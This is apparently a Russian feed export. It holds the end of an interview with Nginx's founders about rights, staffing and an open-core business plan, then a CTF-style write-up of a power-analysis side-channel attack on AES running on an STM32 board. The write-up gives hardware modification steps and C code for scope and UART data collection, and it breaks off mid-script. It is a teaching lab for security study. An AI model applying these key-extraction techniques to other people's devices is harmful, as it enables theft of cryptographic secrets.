  &lt;h4&gt;— Интересно: вы работали в Рамблере и трудились над Nginx. У Рамблера не было никаких прав? Это такой тонкий вопрос. Как удалось сохранить права на проект?&lt;/h4&gt;
  &lt;p&gt;— Да, это довольно тонкий вопрос. Он, конечно, интересует не только вас, и мы довольно основательно его проработали. В России законодательство устроено так, что компании принадлежит то, что сделано в рамках трудовых обязанностей либо по отдельному договору. То есть должен быть договор с человеком, где было бы сказано: нужно разработать программный продукт. В Рамблере я работал системным администратором, разработкой занимался в свободное время, продукт с самого начала выпускался под лицензией BSD, как открытое программное обеспечение. В Рамблере Nginx начал применяться уже тогда, когда основной функционал был готов. Более того, даже первое применение Nginx было не в Рамблере, а на сайтах Rate.ee и zvuki.ru.&lt;/p&gt;
  &lt;h4&gt;— Кто еще у вас работает в компании Nginx?&lt;/h4&gt;
  &lt;p&gt;— Еще у нас работает Сергей Будневич — системный администратор, он занимается поддержкой инфраструктуры компании. Инфраструктура у нас не очень большая, но она есть. У нас есть списки рассылки, у нас есть почтовый сервер, автоматическая сборка, тестирование пекеджей, трекинг ошибок и др. Сергей нам с этим очень помогает. Мы сейчас собираемся готовить пакеты еще для нескольких Linux-дистрибутивов: CentOS, Ubuntu. Сергей занят автоматизацией разнообразных процессов, связанных с разработкой, тестированием и сопровождением. Есть еще два человека: один человек занимается маркетингом — Андрей Алексеев, а Максим Коновалов — вообще начальник всего, он делает так, что компания работает.&lt;/p&gt;
  &lt;h4&gt;— А как официально называется ваша должность в компании?&lt;/h4&gt;
  &lt;p&gt;— Формально я — технический директор. Я не умею руководить людьми, я больше фокусируюсь на архитектуре будущих продуктов и передаче разработки «в команду». Довольно тяжело делегировать работу, однако компания создавалась как раз с целью улучшить разработку и продукт, поэтому сейчас я пытаюсь себя этому научить. Коллеги занимаются организационными вопросами, общением с клиентами, маркетингом, отношениями с партнерами, документацией, наймом персонала и др. Разных сложностей у нас много, научиться общаться на разных уровнях — это бывает не так легко. На самом деле мы все участвуем во всех делах компании, поскольку компания не такая большая, а дел много.&lt;/p&gt;
  &lt;h4&gt;— Делегировать было сложно, потому что казалось, что все плохо делают, проще самому?&lt;/h4&gt;
  &lt;p&gt;— Ну да, подход такой, что я лучше это сам сделаю, потому что это будет лучше, или потому что долго объяснять, что нужно делать, или психологически тяжело сказать: «Сделай вот это». Лично мне делегировать полномочия было тяжело по ряду причин. Сейчас, как технический директор, я в основном отвечаю за архитектуру и качество разработки.&lt;/p&gt;
  &lt;h4&gt;— Игорь, большое вам спасибо за интервью! Видно, что вы все-таки научились делегировать: со всеми нашими бизнес-вопросами вы нас отправили к Максиму Коновалову.&lt;/h4&gt;
  &lt;p&gt;— Кстати, это первое интервью, которое я даю. Согласился только из-за того, что создали компанию. Буквально весной меня попросили люди из другого ИТ-издания, я сказал им: «Извините, я не люблю, не хочу и не умею».&lt;/p&gt;
  &lt;h4&gt;— Еще раз спасибо! Максим, в переговорах с инвесторами вы представляли какой-то формализованный бизнес-план? На чем вы вообще планируете зарабатывать деньги?&lt;/h4&gt;
  &lt;p&gt;— В основном фонды инвестировали в Nginx как в очень перспективный продукт. Детальный бизнес-план, конечно, был важен, но американские инвесторы подходят к вопросу инвестиций, базируясь не только и не столько на бизнес-плане, где будет написано, что мы заработаем за год столько-то с точностью до десятков центов. Важно было то, что Nginx сейчас очень популярен, это уже готовый, существующий продукт.&lt;/p&gt;
  &lt;p&gt;По поводу того, что у нас за идеи для зарабатывания денег: мы хотим прежде всего добиться правильного баланса между бесплатным и платным функционалом. Мы хотим сделать то, что не совсем удалось в прошлом целому ряду компаний. Есть несколько примеров бизнеса на базе разработок open source, где компании не смогли удержать нужный баланс, пришлось закрывать какие-то фичи в самом продукте, просить за них какие-то нелепые деньги, это всех расстроило, и продукты перестали развиваться.&lt;/p&gt;
  &lt;h4&gt;— То есть вы хотите сделать отдельный коммерческий продукт и найти баланс между открытым продуктом и коммерческим?&lt;/h4&gt;
  &lt;p&gt;Мы не хотим делать отдельный коммерческий продукт, мы хотим делать коммерческие надстройки над основным продуктом open source. Он будет развиваться, будут появляться фичи, которые требуются сообществу. Деньги, которые мы получили, помогут нам поставить все производство продукта на новый уровень. Сейчас Игорь уже не в одиночку работает над кодом, строится командная разработка. Мы принимаем на работу людей в России, инженерная команда в Москве останется.&lt;/p&gt;
  &lt;p&gt;Соответственно, фокус на продукте open source — он очень сильный и будет оставаться таким.&lt;/p&gt;
  &lt;p&gt;В то же время мы знаем, что есть клиенты, большие компании, средние компании, даже маленькие компании, которые долгое время используют Nginx. Они построили на этом бизнес и благодарны нам. Когда мы встречаемся, то слышим что-то вроде: «Отличный, замечательный продукт — спасибо вам большое! Но нам не хватает того-то и того-то. Можете ли вы это сделать — мы вам готовы платить?» Из таких разговоров у нас постепенно складывается цепочка того, что мы могли бы продавать, не огорчая при этом сторонников продукта free open source и не подрывая доверия к проекту в целом. То есть мы собираем подобные запросы и сравниваем их с пожеланиями, которые поступают от сообщества пользователей. Мы смотрим, где есть пересечения и, если понимаем, что какой-то функционал на самом деле необходим всем, а не какой-то отдельной компании, мы это реализуем в бесплатной версии продукта.&lt;/p&gt;
  &lt;p&gt;Есть даже компании, которые говорят: «Давайте мы вам заплатим за все эти фичи, чтобы они быстрее появились в продукте. Мы хотим, чтобы все попало в open source, мы не хотим, чтобы фича была эксклюзивная и/или платная». Это называется sponsored development.&lt;/p&gt;
  &lt;p&gt;Пока у нас сформировались идеи, что коммерческие надстройки будут больше относиться к крупным примерам применения Nginx: например, с помощью коммерческих надстроек будет легче управлять тысячами инстансов, будет расширенный мониторинг производительности, дополнительный функционал, рассчитанный на хостинговые, облачные и CDN-инфраструктуры.&lt;/p&gt;
  &lt;h4&gt;— То есть у вас фокус именно на продукте. Не будете отдельно продавать услуги, например, по внедрению, консалтингу?&lt;/h4&gt;
  &lt;p&gt;— Дело в том, что компания маленькая, она будет оставаться маленькой — расти до компании в несколько сотен человек мы не хотим. Мы активно работаем с партнерами, с системными интеграторами, с вендорами софта и железа, активно ищем каналы для работы через партнеров. Консультации будут осуществляться частично через партнеров, частично через нас. К сожалению, услуги консалтинга и технической поддержки всем пользователям мы сами, непосредственно, предоставлять не сможем.&lt;/p&gt;
  &lt;h4&gt;— А что ждет обычных пользователей в ближайшее время, планируете какие-то новые фичи?&lt;/h4&gt;
  &lt;p&gt;— Из истории изменений в коде за последние три месяца, из списка релизов, которые мы выпустили, видно, что с момента образования компании мы серьезно активизировали процесс разработки и внесения исправлений. Мы интегрировали достаточно много и доработок, и новых опций. Добавили, к примеру, стриминг MP4, о котором Игоря спрашивали несколько лет. Работа идет, функционал развивается.&lt;/p&gt;
  &lt;h4&gt;— Я правильно понимаю, что Игорь Сысоев — главный акционер компании, а остальная, меньшая доля принадлежит инвесторам?&lt;/h4&gt;
  &lt;p&gt;— Да, Игорь — основной акционер, всего же учредителей компании трое, и есть, естественно, инвесторы как владельцы, группа инвесторов — они совместно владеют какой-то частью. Кстати, сам процесс получения денег от инвесторов технически выглядит очень просто — выпускаются ценные бумаги по соответствующему законодательству, инвесторы их покупают за какую-то сумму. Сумма переходит к вам, вы ее используете на развитие компании. Именно так все у нас и устроено.&lt;/p&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://t.me/Bureau121&quot; target=&quot;_blank&quot;&gt;ПОДПИСАТЬСЯ - Бюро121&lt;/a&gt;&lt;/p&gt;

</content></entry><entry><id>bureau121:W7SezzIh</id><link rel="alternate" type="text/html" href="https://teletype.in/@bureau121/W7SezzIh?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=bureau121"></link><title>Аппаратный CTF. Легкий способ узнать ключ шифрования, когда у тебя под рукой осциллограф и ноутбук</title><published>2020-02-18T11:57:11.229Z</published><updated>2020-02-18T11:57:11.229Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/32/8d/328d6e29-1c01-4402-9093-a97f929fa627.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/41/1e/411eafac-da4c-4fd6-9f74-81f48071e475.jpeg&quot;&gt;Источник: t.me/Bureau121</summary><content type="html">
  &lt;p&gt;Источник: t.me/Bureau121&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/41/1e/411eafac-da4c-4fd6-9f74-81f48071e475.jpeg&quot; width=&quot;1000&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3&gt;Содержание статьи&lt;/h3&gt;
  &lt;ul&gt;
    &lt;li&gt;Современное железо&lt;/li&gt;
    &lt;li&gt;Суть атаки&lt;/li&gt;
    &lt;li&gt;Подготовка платы&lt;/li&gt;
    &lt;li&gt;Пишем прошивку&lt;/li&gt;
    &lt;li&gt;Зачем осциллографу Ethernet&lt;/li&gt;
    &lt;li&gt;Собираем все вместе&lt;/li&gt;
    &lt;li&gt;Предобработка&lt;/li&gt;
    &lt;li&gt;Кто такая Julia&lt;/li&gt;
    &lt;li&gt;Подводим итоги&lt;/li&gt;
    &lt;li&gt;Дополнительные материалы&lt;/li&gt;
    &lt;li&gt;Постскриптум&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;Современное железо&lt;/h3&gt;
  &lt;p&gt;В первую очередь было решено выбрать в качестве цели более актуальное железо. Arduino и AVR — это прекрасно, это наше наследие, и к нему нужно относиться с подобающим уважением, а не ломать направо и налево. Но сегодня бал правят микроконтроллеры на ядре ARM (Cortex-M). И вероятнее всего, именно их ты обнаружишь, распотрошив ближайшее умное устройство — беспроводную розетку, лампочку с Wi-Fi и прочие прелести сомнительной автоматизации.&lt;/p&gt;
  &lt;p&gt;На первый взгляд, бюджетный микроконтроллер &lt;a href=&quot;https://www.st.com/resource/en/datasheet/dm00115237.pdf&quot; target=&quot;_blank&quot;&gt;STM32F091&lt;/a&gt; (Cortex-M0) на &lt;a href=&quot;https://www.st.com/content/ccc/resource/technical/document/user_manual/98/2e/fa/4b/e0/82/43/b7/DM00105823.pdf/files/DM00105823.pdf/jcr:content/translations/en.DM00105823.pdf&quot; target=&quot;_blank&quot;&gt;плате Nucleo-64&lt;/a&gt; идеально подходил на роль подопытного кролика. По сравнению с Arduino Nano это решение выглядит выигрышно буквально по всем параметрам: разрядность 32 бит (против восьми), тактовая частота 48 МГц (против шестнадцати) и напряжение питания всего 3,3 В против пяти. Что касается цены, нужно учесть, что оригинальные итальянские платы Arduino стоят как минимум столько же, если не дороже.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/4e760a96fc2d044955547.png&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Такой выбор на самом деле осложняет атаку — не всякий бюджетный осциллограф сможет угнаться за микроконтроллером на подобных скоростях. Использование &lt;a href=&quot;http://www.hantek.com/en/ProductDetail_153.html&quot; target=&quot;_blank&quot;&gt;Hantek DSO6022&lt;/a&gt; из презентации было бы заранее обречено на провал, достаточно только взглянуть на его характеристики.&lt;/p&gt;
  &lt;p&gt;К счастью, у меня на столе стоял осциллограф &lt;a href=&quot;https://www.rohde-schwarz.com/ru/product/rtc1000-productstartpage_63493-515585.html&quot; target=&quot;_blank&quot;&gt;RTC1002&lt;/a&gt; компании Rohde &amp;amp; Schwarz. Если верить рекламным материалам, это модель начального уровня, но это обманчивое впечатление. Да, такой осциллограф стоит как флагманский смартфон, но у него масса полезных функций, и он максимально удобен.&lt;/p&gt;
  &lt;h3&gt;Суть атаки&lt;/h3&gt;
  &lt;p&gt;Остальные условия изначального конкурса я решил не менять. Мы по-прежнему будем анализировать трассы энергопотребления нашего устройства в момент шифрования данных и пытаться угадать хранящийся в памяти пароль. Шифр — AES в режиме ECB с длиной ключа в 128 бит.&lt;/p&gt;
  &lt;p&gt;Конечно, на практике в реальном устройстве ты, скорее всего, обнаружишь AES в режиме CBC, но я так и не придумал, как органично вписать вектор инициализации в условия задачи. Сам по себе IV без ключа шифрования не представляет особой ценности для злоумышленника и нередко передается в открытом виде (примером тому могут служить протоколы SSL/TLS, смотри &lt;a href=&quot;https://tools.ietf.org/html/rfc5246#section-6.2&quot; target=&quot;_blank&quot;&gt;RFC 5246&lt;/a&gt;).&lt;/p&gt;
  &lt;p&gt;Сам по себе алгоритм AES считается одним из лучших, используется практически повсеместно, и на сегодняшний день для него не известно ни одной реальной уязвимости. Что же может пойти не так и есть ли у нас вообще шансы на успех?&lt;/p&gt;
  &lt;p&gt;Все дело в том, что операции любого процессора на самом низком уровне сводятся к переключению транзисторов. На это расходуется энергия, потребление которой можно фиксировать. Зная алгоритм шифрования, входные данные и замеряя параметры питания, мы можем попытаться угадать двоичное представление ключа (количество транзисторов в активном состоянии). И это будет однозначно гораздо лучше, чем простой перебор! (Да что угодно лучше, чем простой перебор, если уж откровенно.)&lt;/p&gt;
  &lt;p&gt;Конечно, на практике все окажется не так легко: в любой современной схеме транзисторов неприлично много, существуют нелинейные процессы, внешние наводки почти всегда неизбежны, а сама попытка провести измерения неизбежно вносит свой негативный вклад в точность полученных данных.&lt;/p&gt;
  &lt;p&gt;К счастью, на нашей стороне будет статистика — если удастся собрать достаточное количество информации, полезный сигнал будет преобладать над шумами и мы сможем узнать ключ. В нашем случае речь идет о пяти тысячах осциллограмм, каждая по тридцать тысяч точек. Я бы назвал это «большими данными», но специалисты, вероятно, будут смеяться, поэтому обойдемся без громких заявлений.&lt;/p&gt;
  &lt;p&gt;Таким образом, принцип атаки следующий: мы посылаем с компьютера на вход исследуемого устройства случайный набор чисел, устройство их шифрует и отправляет обратно, а осциллограф внимательно следит за расходом электроэнергии (счетчикам ЖКХ такая точность и не снилась). После этого по команде с компьютера мы сохраняем осциллограмму и набор данных (вход и выход) и повторяем процесс.&lt;/p&gt;
  &lt;p&gt;В теории все выглядит соблазнительно просто, не так ли? Сколько раз я так ошибался.&lt;/p&gt;
  &lt;p&gt; &lt;/p&gt;
  &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;h3&gt;Подготовка платы&lt;/h3&gt;
  &lt;p&gt;Начнем с отладочной платы: ее предстоит немножко испортить, но тут уж ничего не поделаешь. В первую очередь удалим с текстолита все лишнее, что может как-то потреблять или накапливать энергию, — нам нужен максимально чистый сигнал с самого микроконтроллера, а не с конденсаторов из его обвязки.&lt;/p&gt;
  &lt;p&gt;Отламываем программатор ST-Link — широкие прорези в самой плате намекают на то, что он прекрасно будет работать и отдельно от основной части. Если опасаешься повредить плату и выдрать целый кусок, попробуй сперва подпилить соединения обычной ножовкой, сразу должно быть проще.&lt;/p&gt;
  &lt;p&gt;Теперь наступил черед конденсаторов в цепи питания. Микроконтроллер требует 3,3 В, но это совместимая с Arduino плата, и она рассчитана на внешний источник питания 5 В, за это отвечает линейный DC/DC-преобразователь &lt;a href=&quot;https://www.st.com/resource/en/datasheet/ld39050.pdf&quot; target=&quot;_blank&quot;&gt;LD39050PU33R&lt;/a&gt;. То, что он линейный, — это хорошо, от импульсного были бы лишние помехи.&lt;/p&gt;
  &lt;p&gt;Конденсаторы С20 и С21 на входе можно оставить, а вот С18 и С19 явно лишние, смело бери паяльник в руки и выпаивай. Да их тут и не было! Также совершенно необязательны конденсаторы С23, С24, С27 и C28. У них какие-то смешные емкости — 100 нФ — можно даже не обращать внимания. Понравилось? Все, стой, остальные пусть живут!&lt;/p&gt;
  &lt;p&gt;Теперь о грустном. Мы перед этим отломали программатор, но он нам все еще нужен. Ты ведь его не выбросил, верно? Это было очень предусмотрительно! И дело не в том, что программатор нам понадобится для того, чтобы прошить микроконтроллер. Нет, это, оказывается, еще и переходник с USB — UART, и с его помощью мы будем общаться с компьютером.&lt;/p&gt;
  &lt;p&gt;Проблема в том, что дорожки RX/TX интерфейса UART располагались как раз на перемычках, которые мы до этого перерезали. На программаторе эти сигналы доступны на разъеме CN3, но на самой плате с F091 контакты D0/D1 разъема CN9 не подсоединены к микроконтроллеру. За это отвечают перемычки SB62 и SB63 на обратной стороне платы, так что соедини их парой капель припоя.&lt;/p&gt;
  &lt;p&gt;Кстати, ты обратил внимание, что на плате отсутствует кварцевый резонатор на месте X3? Есть «часовой» кварц на 32,768 кГц на месте X2, но он предназначен для RTC. Оказывается, ST-Link, кроме того что выполняет свои основные функции, еще и генерирует опорную частоту в 8 МГц для основного микроконтроллера! Это линия МСО на схеме (вывод PF0).&lt;/p&gt;
  &lt;p&gt;В отличие от интерфейса UART, этот сигнал не выведен ни на какие контакты, и без него F091 работать точно откажется. Мне не пришло в голову ничего лучше, чем купить в ближайшем магазине радиодеталей &lt;a href=&quot;https://www.chipdip.ru/product/8mhz-hcmos-ttl&quot; target=&quot;_blank&quot;&gt;кварцевый генератор&lt;/a&gt; на 8 МГц. Его следует подключить к линии 5 В. При этом меандр будет с амплитудой 5 В вместо положенных 3,3 В, но это не страшно, так как вывод PF0 обозначен в даташите на микроконтроллер как FT, то есть совместимый с пятивольтовой логикой.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/71fc82fa8c075cec99cc4.png&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Остается только отпаять перемычку SB50 и запаять SB55, чтобы вывести ножку PF0 на 29-й контакт разъема CN7. Вполне вероятно, сейчас тебя занимает только одна мысль: зачем разработчики в ST придумали такую сложную схему? Оказывается, на такой печатной плате основана вся модельная линейка отладок &lt;a href=&quot;https://www.st.com/en/evaluation-tools/stm32-nucleo-boards.html&quot; target=&quot;_blank&quot;&gt;Nucleo-64&lt;/a&gt;, а это почти двадцать разных версий. Конкретная версия отличается сочетанием всех этих крошечных перемычек.&lt;/p&gt;
  &lt;h3&gt;Пишем прошивку&lt;/h3&gt;
  &lt;p&gt;Теперь нужна программная реализация алгоритма AES. Сотрудники Riscure после проведения конкурса RHme2 выложили исходники примеров &lt;a href=&quot;https://github.com/Riscure/Rhme-2016&quot; target=&quot;_blank&quot;&gt;на своем GitHub&lt;/a&gt;. Но воспользоваться ими не получится по той простой причине, что они платформенно зависимые. Таблицы подстановок шифра AES с помощью макросов &lt;code&gt;pgm_read_byte&lt;/code&gt; программируются во флеш, который разворачивается в цепочку инструкций ассемблера для AVR.&lt;/p&gt;
  &lt;p&gt;Понятно, что для F091 на ARM такой код запустить не удастся. Поэтому я выбрал &lt;a href=&quot;https://github.com/kokke/tiny-AES-c&quot; target=&quot;_blank&quot;&gt;стороннюю реализацию AES&lt;/a&gt; в режиме ECB, дописав недостающие куски самостоятельно. В целом это была самая простая часть, &lt;a href=&quot;http://xakep.ru/wp-content/uploads/2019/sketch.txt&quot; target=&quot;_blank&quot;&gt;логика программы&lt;/a&gt; полностью повторяет принцип работы оригинального примера из RHme2. Заранее сгенерированный случайным образом ключ AES будет храниться в самом устройстве:&lt;/p&gt;
  &lt;pre&gt;/* Key is: 0x47f1ed9166c996b2f553b147be3fbc20 (128-bit) */
const uint8_t key[] = {0x47, 0xF1, 0xED, 0x91, 0x66, 0xC9, 0x96,
    0xB2, 0xF5, 0x53, 0xB1, 0x47, 0xBE, 0x3F, 0xBC, 0x20};
&lt;/pre&gt;
  &lt;h3&gt;Зачем осциллографу Ethernet&lt;/h3&gt;
  &lt;p&gt;Протестировав работоспособность платы и прошивки в «Мониторе порта» из Arduino IDE, я вручную поймал пару осциллограмм в момент шифрования сообщений. Первые трассы выглядели как-то так.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/2f50602f2b03be80e82e8.png&quot; width=&quot;640&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Угадать здесь десять раундов AES можно разве что при очень большом желании. Соотношение шумов и полезного сигнала на осциллограмме оставляло желать лучшего. Увеличив частоту дискретизации и поиграв с настройками фильтров на приборе, я смог получить уже более приличные кадры.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/255b624ac7c7d1c10702a.png&quot; width=&quot;640&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p&gt;Хорошо заметны одинаковые скачки энергопотребления при переходе от одного раунда к другому — такой паттерн трудно с чем-то спутать, и угадать длину ключа тут можно чисто визуально (по количеству повторений сигнала).&lt;/p&gt;
  &lt;p&gt;Теперь нужно было как-то автоматизировать сбор и сохранение осциллограмм. Rohde &amp;amp; Schwarz на своем сайте предлагает использовать утилиту &lt;a href=&quot;https://www.rohde-schwarz.com/ru/driver-pages/remote-control/1-automation-by-remote-control-step-by-step_231238.html&quot; target=&quot;_blank&quot;&gt;HMExplorer&lt;/a&gt;, но при беглом ознакомлении с &lt;a href=&quot;https://cdn.rohde-schwarz.com/pws/dl_downloads/dl_common_library/dl_manuals/gb_1/h/hmexplorer/1178330502_HMExplorer_UserManual_en_02.pdf&quot; target=&quot;_blank&quot;&gt;документацией&lt;/a&gt; я пришел к неутешительному выводу, что ее возможностей мне недостаточно.&lt;/p&gt;
  &lt;p&gt;Одно дело — просто удаленно управлять прибором с компьютера по интерфейсу &lt;a href=&quot;https://en.wikipedia.org/wiki/IEEE-488&quot; target=&quot;_blank&quot;&gt;GPIB&lt;/a&gt; или Ethernet с помощью набора инструкций &lt;a href=&quot;https://en.wikipedia.org/wiki/Standard_Commands_for_Programmable_Instruments&quot; target=&quot;_blank&quot;&gt;SCPI&lt;/a&gt;. Но мне предстояло еще одновременно забирать энтропию с &lt;code&gt;/dev/urandom&lt;/code&gt; и направлять ее в микроконтроллер по последовательному порту. Проще было написать реализацию самостоятельно.&lt;/p&gt;
  &lt;p&gt;Чуть выше я упомянул набор SCPI — это стандартизированный способ взаимодействия с инструментами самых разных производителей. Краткую справку по командам я нашел в конце &lt;a href=&quot;https://scdn.rohde-schwarz.com/ur/pws/dl_downloads/dl_common_library/dl_manuals/gb_1/r/rtc/RTC_UserManual_en_04.pdf&quot; target=&quot;_blank&quot;&gt;документации&lt;/a&gt; на сам осциллограф RTC1002, но дополнительно у R&amp;amp;S есть исчерпывающее руководство &lt;a href=&quot;https://cdn.rohde-schwarz.com/pws/dl_downloads/dl_common_library/dl_manuals/gb_1/h/hmo1002_1202/HMO1002_1202_SCPI_ProgrammersManual_en_01.pdf&quot; target=&quot;_blank&quot;&gt;SCPI Programming Manual&lt;/a&gt;.&lt;/p&gt;
  &lt;p&gt;По сути, во всем большом наборе у нас есть три вида инструкций. Общие команды поддерживают все совместимые по стандарту устройства. Они позволяют узнать, с каким конкретно прибором мы сейчас работаем.&lt;/p&gt;
  &lt;pre&gt;/*  CMD: *IDN?
 *  ANS: ROHDE&amp;amp;SCHWARZ,RTC1002,XXXXXXXXX,YYY.ZZZ
 */
&lt;/pre&gt;
  &lt;p&gt;Следующими идут базовые команды, они определяют состояние и работу инструмента. Для них есть полная форма (все символы в сообщении) и сокращенная форма (только символы в верхнем регистре).&lt;/p&gt;
  &lt;pre&gt;/*  CMD: RUNContinous (RUNC)
 *  ANS: None
 */
&lt;/pre&gt;
  &lt;p&gt;Наконец, у нас есть команды для конкретных настроек прибора. Они составляют большую часть набора SCPI и для удобства вложены в различные пространства имен. Можно задать частоту дискретизации, вертикальное и горизонтальное отклонение, задержку срабатывания триггера и много чего еще. В общем, тут удаленно доступен буквально любой пункт меню. Более того, можно посылать по сети собственные сообщения и отображать их на экране. &lt;/p&gt;
  &lt;pre&gt;/*  CMD: DISPlay:DIALog::MESSage (DISP:DIAL:MESS)
 *  ANS: None
 *
 *  CMD: CHANnel1:DATA:HEADer? (CHAN1:DATA:HEAD?)
 *  ANS: -9.477E-008,9.477E-008,30000,1
 */
&lt;/pre&gt;
  &lt;p&gt;Таким образом, подключив осциллограф к одной сети с ноутбуком и настроив IP-адреса, можно работать с прибором через сокеты из любой программы на С:&lt;/p&gt;
  &lt;pre&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt; 
#include &amp;lt;string.h&amp;gt;

#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;arpa/inet.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define PORT        (5025) 
#define HOST        (&amp;quot;192.168.10.11&amp;quot;)
#define SCPI_BUFFER (512)

int scpi_init(char* ip, int port) {
  int sd = socket(AF_INET, SOCK_STREAM, 0);
  struct sockaddr_in server = {.sin_family = AF_INET,
                               .sin_port = htons(port)};

  inet_pton(AF_INET, ip, &amp;amp;server.sin_addr);
  connect(sd, (struct sockaddr *) &amp;amp;server, sizeof(server));

  return sd;
}

int scpi_cmd_write(int sd, char* cmd) {
  return write(sd, cmd, strlen(cmd));
}

int scpi_cmd_read(int sd, char* cmd, char* b) {
  if (scpi_cmd_write(sd, cmd) != strlen(cmd)) {
    return -1;
  }

  return read(sd, b, SCPI_BUFFER);
}
&lt;/pre&gt;
  &lt;p&gt; &lt;/p&gt;
  &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;h3&gt;Собираем все вместе&lt;/h3&gt;
  &lt;p&gt;Для завершения подготовительного этапа осталось реализовать ровно две вещи: работу с последовательным портом и получение случайных чисел с источника энтропии в системе. В целом ничего сложного, но есть пара нюансов:&lt;/p&gt;
  &lt;pre&gt;int uart_open(char* path) {
  int fd = open(path, O_RDWR | O_ASYNC);
  struct termios attr;

  /* Set parameters for UART communication */
  tcgetattr(fd, &amp;amp;attr);
  cfsetospeed(&amp;amp;attr, B115200);
  cfsetispeed(&amp;amp;attr, B115200);  
  attr.c_cflag &amp;amp;= ~(PARENB | CSTOPB | CSIZE);
  attr.c_cflag |= CS8 | CLOCAL;
  attr.c_lflag = ICANON;
  attr.c_oflag &amp;amp;= ~OPOST;

  tcsetattr(fd, TCSANOW, &amp;amp;attr);
  tcflush(fd, TCIOFLUSH);

  return fd;
}

int uart_recv(int fd, char *b, int len) {
  int i = 0;

  for (char c = 0; i &amp;lt; len &amp;amp;&amp;amp; c != &amp;#x27;\n&amp;#x27;; ++i) {
    read(fd, &amp;amp;c, 1);
    b[i] = c;
  }

  return i;
 }

int uart_send(int fd, char *b, int len) {
  return write(fd, b, len);;
}

int uart_close(int fd) {
  return close(fd);
}
&lt;/pre&gt;
  &lt;p&gt;Что касается случайных чисел, то на самом деле их можно было генерировать непосредственно на микроконтроллере. И даже отдельный аппаратный TRNG тут совершенно необязателен. Если стоит задача получить энтропию из разряда «дешево и сердито», можно обойтись и шумами в АЦП, недавно я писал в «Хакер» &lt;a href=&quot;https://xakep.ru/2019/03/27/looking-for-entropy/&quot; target=&quot;_blank&quot;&gt;статью об этом&lt;/a&gt;.&lt;/p&gt;
  &lt;pre&gt;char vLUT(char n) {
  return n &amp;gt;= 10 ? n + &amp;#x27;A&amp;#x27; - 10 : n + &amp;#x27;0&amp;#x27;;
}

void get_rand(char* buffer, int n) {
  int rd = open(&amp;quot;/dev/urandom&amp;quot;, O_RDONLY);

  read(rd, buffer, n);
  close(rd);

  for(int i = 0; i &amp;lt; n; ++i) {
    buffer[i] &amp;amp;= 0x0F;
    buffer[i] = vLUT(buffer[i]); 
  }
}
&lt;/pre&gt;
  &lt;p&gt;Теперь остается только собрать все это в &lt;a href=&quot;http://xakep.ru/wp-content/uploads/2019/main.txt&quot; target=&quot;_blank&quot;&gt;единый файл&lt;/a&gt; &lt;code&gt;main.c&lt;/code&gt;, и можно запускать процесс. Хороший момент попить чайку и подумать о том, что делать дальше.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/36db85cc6cf411708a5ca.png&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3&gt;Предобработка&lt;/h3&gt;
  &lt;p&gt;Через некоторое время у меня на ноутбуке уже было пять тысяч осциллограмм в формате CSV и бинарный файл с отладочной платы. Однако перед анализом трасс в статистическом пакете Jlsca данные предстояло конвертировать в формат TRS.&lt;/p&gt;
  &lt;p&gt;Вообще говоря, предварительно еще следовало убедиться, что общие паттерны на осциллограмме (пики и впадины) соответствуют раундам алгоритма AES и сами трассы синхронизированы. Другими словами, нужно быть уверенным, что мы сравниваем внутреннее состояние микроконтроллера в одинаковые моменты времени, иначе вся остальная работа теряет всякий смысл.&lt;/p&gt;
  &lt;p&gt;Подобная рассинхронизация вполне может возникнуть из-за фазового дрожания сигнала (&lt;a href=&quot;https://ru.wikipedia.org/wiki/%D0%94%D0%B6%D0%B8%D1%82%D1%82%D0%B5%D1%80&quot; target=&quot;_blank&quot;&gt;джиттер&lt;/a&gt;) на канале с триггером, и тут все зависит от характеристик твоего осциллографа, насколько быстро он сможет среагировать и начать захват данных по основному каналу.&lt;/p&gt;
  &lt;p&gt;К счастью, я мог визуально наблюдать осциллограммы на экране прибора во время сбора трасс питания и через какое-то время пришел к выводу, что этот шаг вполне можно пропустить. Однако в оригинальной презентации инструктору Riscure все же пришлось выравнивать трассы, преимущественно из-за бюджетности модели Hantek.&lt;/p&gt;
  &lt;p&gt;Вернемся к осциллограммам. Конечно, экспоненциальное представление чисел в столбцах файлов CSV тоже можно было распарсить и сконвертировать средствами языка С. Однако я не смог найти у Riscure описания формата TRS, зато нашелся &lt;a href=&quot;https://github.com/Riscure/python-trsfile&quot; target=&quot;_blank&quot;&gt;модуль для Python&lt;/a&gt;.&lt;/p&gt;
  &lt;p&gt;Напишем пару скриптов:&lt;/p&gt;
  &lt;pre&gt;# Remove all timestamps from files
TOTAL = 5000

for i in range(TOTAL):  
  source = open(&amp;#x27;TRC/TRC{:04}.csv&amp;#x27;.format(i), &amp;#x27;r&amp;#x27;)
